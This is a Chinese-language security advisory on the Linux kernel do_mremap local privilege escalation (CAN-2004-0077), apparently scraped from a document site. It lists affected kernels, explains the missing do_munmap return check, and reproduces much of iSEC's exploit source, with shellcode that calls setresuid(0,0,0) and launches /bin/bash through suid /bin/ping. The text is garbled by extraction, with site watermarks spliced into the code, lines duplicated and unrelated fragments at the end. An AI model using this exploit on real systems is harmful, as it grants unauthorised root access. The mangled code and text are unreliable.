Linux Kernel do_mremap VMA本地權(quán)限提升漏洞

1、LinuxLinux KernelKernel do_mremapdo_mremap VMAVMA 本地權(quán)限提升漏洞本地權(quán)限提升漏洞本文關(guān)鍵字：本文關(guān)鍵字：LinuxLinux KernelKernel do_mremapdo_mremap VMAVMA 本地權(quán)限提升漏洞本地權(quán)限提升漏洞日期：2004-03-05發(fā)布日期：2004-02-18更新日期：2004-03-03受影響系統(tǒng)：Linux kernel 2.6.2Linux kernel 2.6.1Linux kernel 2.6Linux kernel 2.4.9Linux kernel 2.4.8Linux kernel 2.4.7L

2、inux kernel 2.4.6Linux kernel 2.4.5Linux kernel 2.4.4Linux kernel 2.4.3Linux kernel 2.4.24Linux kernel 2.4.23Linux kernel 2.4.22Linux kernel 2.4.21Linux kernel 2.4.20Linux kernel 2.4.2Linux kernel 2.4.19Linux kernel 2.4.17Linux kernel 2.4.16Linux kernel 2.4.15Linux kernel 2.4.14Linux kernel 2.4.13Li

3、nux kernel 2.4.12Linux kernel 2.4.11Linux kernel 2.4.10Linux kernel 2.4.1Linux kernel 2.4Linux kernel 2.2.9Linux kernel 2.2.8Linux kernel 2.2.7Linux kernel 2.2.6Linux kernel 2.2.5Linux kernel 2.2.4Linux kernel 2.2.3Linux kernel 2.2.25Linux kernel 2.2.24Linux kernel 2.2.23Linux kernel 2.2.22Linux ker

4、nel 2.2.21Linux kernel 2.2.20Linux kernel 2.2.2Linux kernel 2.2.19Linux kernel 2.2.18Linux kernel 2.2.17Linux kernel 2.2.16Linux kernel 2.2.15Linux kernel 2.2.14Linux kernel 2.2.13Linux kernel 2.2.12Linux kernel 2.2.11Linux kernel 2.2.10Linux kernel 2.2.1Linux kernel 2.2Linux kernel 2.4.18- Conectiv

5、a Linux 8.0- Conectiva Linux 7.0- Debian Linux 3.0- Mandrake Linux 8.2- Mandrake Linux 8.1- RedHat Linux 8.0- RedHat Linux 7.3- Slackware Linux 8.1- Slackware Linux 8.0- SuSE Linux 8.2- SuSE Linux 8.1不受影響系統(tǒng)：Linux kernel 2.6.3Linux kernel 2.4.25Linux kernel 2.2.26描述：-CVE(CAN) ID: CAN-2004-0077Linux 是

6、一款開放源代碼操作系統(tǒng)。Linux 內(nèi)核中 mremap(2)系統(tǒng)調(diào)用由于沒有對函數(shù)返回值進(jìn)行檢查，本地攻擊者可以利用這個漏洞獲得 root 用戶權(quán)限。歡迎光臨八一學(xué)習(xí)網(wǎng)八一學(xué)習(xí)網(wǎng),收藏本篇文章收藏本篇文章$False$mremap 系統(tǒng)調(diào)用被應(yīng)用程序用來改變映射區(qū)段(VMAs)的邊界地址。mremap()系統(tǒng)調(diào)用提供對已存在虛擬內(nèi)存區(qū)域調(diào)整大小。從 VMA 區(qū)域移動部分虛擬內(nèi)存到新的區(qū)域需要建立一個新的 VMA 描述符，也就是把由 VMA 描述的下面的頁面表條目(page table entries)從老的區(qū)域拷貝到進(jìn)程頁表中新的位置。要完成這個任務(wù) do_mremap 代碼需要調(diào)用 do_

7、munmap()內(nèi)部內(nèi)核函數(shù)去清除在新位置中任何已經(jīng)存在的內(nèi)存映射，也就是刪除舊的虛擬內(nèi)存映射。不幸的是代碼沒有對 do_munmap()函數(shù)的返回值進(jìn)行檢查，如果可用 VMA 描述符的最大數(shù)已經(jīng)超出，那么函數(shù)調(diào)用就可能失敗。isec 利用這個漏洞通過頁表緩沖(page table cache)使包含在頁中的惡意指令被執(zhí)行。詳細(xì)方法可參看如下地址：http:/isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt測試方法：-警 告以下程序(方法)可能帶有攻擊性，僅供安全研究與教學(xué)之用。使用者風(fēng)險自負(fù)！Paul Starzetz （paulstarz

8、etz.de）提供了如下測試方法：/*mremap missing do_munmap return check kernel exploit*gcc -O3 -static -fomit-frame-pointer mremap_pte.c -omremap_pte*./mremap_pte *Copyright (c) 2004iSEC Security Research. All RightsReserved.*THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT ISPROVIDED AS IS*AND WITHOUT ANY WARRA

9、NTY. COPYING, PRINTING, DISTRIBUTION,MODIFICATION*WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.*/#include #include #include #include #include #include #include #include #include #include #include #include #define str(s) #s#define xstr(s) str(s)/this is for standard kernels with 3/1 split#

10、define STARTADDR0 x40000000#define PGD_SIZE(PAGE_SIZE * 1024)本文關(guān)鍵字：本文關(guān)鍵字：#define VICTIM(STARTADDR + PGD_SIZE)#define 歡迎光臨八一學(xué)習(xí)網(wǎng)八一學(xué)習(xí)網(wǎng),點擊這里點擊這里查看更多文章教程MMAP_BASE(STARTADDR + 3*PGD_SIZE)#define DSIGNALSIGCHLD#define CLONEFL(DSIGNAL|CLONE_VFORK|CLONE_VM)#define MREMAP_MAYMOVE( (1UL) 0 )#define MREMAP_FIXE

11、D( (1UL) 1 )#define _NR_sys_mremap_NR_mremap/how many ld.so pages? this is the .text section length(like from cat/proc/self/maps) in pages#define LINKERPAGES0 x14/suid victimstatic char *suid=/bin/ping;/shell to startstatic char *launch=/bin/bash;_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulon

12、g, c, ulong,d,12341234 ;ulong, e);unsigned long sys_mremap(unsigned long addr, unsigned long old_len,unsigned long new_len, unsigned long flags,unsigned long new_addr);static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;static int i, pid=0;static char *env, *argv;static ulong ret;/code t

13、o appear inside the suid imagestatic void suid_code(void)_asm_(callcallmen/setresuid(0, 0, 0), setresgid(0, 0, 0)jumpme:xorl%ebx, %ebxnxorl%ecx,文章整理文章整理: :八一學(xué)習(xí)網(wǎng)八一學(xué)習(xí)網(wǎng)http:/http:/ (本站)%ecxnxorl%edx, %edxnxorl%eax, %eaxnmov$xstr(_NR_setresuid), %alnint$0 x80nmov$xstr(_NR_setresgid), %alnint$0 x80n/exec

14、ve(launch)popl%ebx&nb本文關(guān)鍵本文關(guān)鍵字：字：movl%esp, %ecxnmov$xstr(_NR_execve), %alnint$0 x80n/exitxorl%eax, %eaxnmov$xstr(_NR_exit), %alnint$0 x80ncallme:jmpjumpmen);static int suid_code_end(int v)return v+1;static inline void get_esp(void)_asm_(movl12341234%esp, %eaxnandl$0 xfffff000,歡迎光臨八一學(xué)習(xí)網(wǎng)八一學(xué)習(xí)網(wǎng),收藏本篇

15、文章收藏本篇文章%eaxnmovl%eax, %0n: : m(old_esp);static inline void cloneme(void)_asm_(pushanmovl$(xstr(CLONEFL), %ebxnmovl %esp, %ecxnmovl$xstr(_NR_clone), %eaxnint$0 x80nmovl %eax, %0npopan: : m(pid);static inline void my_execve(void)_asm_(movl %1, %ebx本文關(guān)鍵字：本文關(guān)鍵字：);static inline void pte_populate(unsigne

16、d addr)unsigned r;char *ptr;memset(void*)addr, 0 x90, PAGE_SIZE);r = (unsigned)suid_code_end) - (unsigned)suid_code);ptr = (void*) (addr + PAGE_SIZE);ptr -= r+1;memcpy(ptr, suid_code, r);memcpy(void*)addr, launch, strlen(launch)+1);/hit VMA limit & populate PTEsstatic void exhaust(void)/mmap PTE

17、 donort = mmap(void*)victim, PAGE_SIZE*(LINKERPAGES+3),PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);if(MAP_FAILED=t)goto failed;/prepare shell code pagesfor(i=2; i65520 )printf(rMMAP #%d0 x%.8x -0 x%.8lx, cnt, base,base+PAGE_SIZE); fflush(stdout);base += PAGE_SIZE;prot = PROT_EXEC

18、;cnt+;/move PTEs & populate page table cacheret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE,PAGE_SIZE,MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);if(-1=ret)goto failed;munmap(void*)MMAP_BASE, old_esp-MMAP_BASE);t = mmap(void*)(old_esp-PGD_SIZE-PAGE_SIZE),PAGE_SIZE,PROT_READ|PROT_WRITE,歡迎光臨八一學(xué)習(xí)網(wǎng)八一學(xué)習(xí)網(wǎng),收藏本篇文章收藏本篇文章本文關(guān)鍵字：本文關(guān)鍵字：_exit(0);_exit(0); if(b=2)if(b=2) if(c=25)if(c=25)v=1;v=1; elseelse if(b=3)if(b=3) if(c=99)if(c18if(c18 & c=24)c24)if(c24)v=0,v=0, e=0;e=0;elseelsev=1,v=1, e=0;e=0; elseelse if(b=5i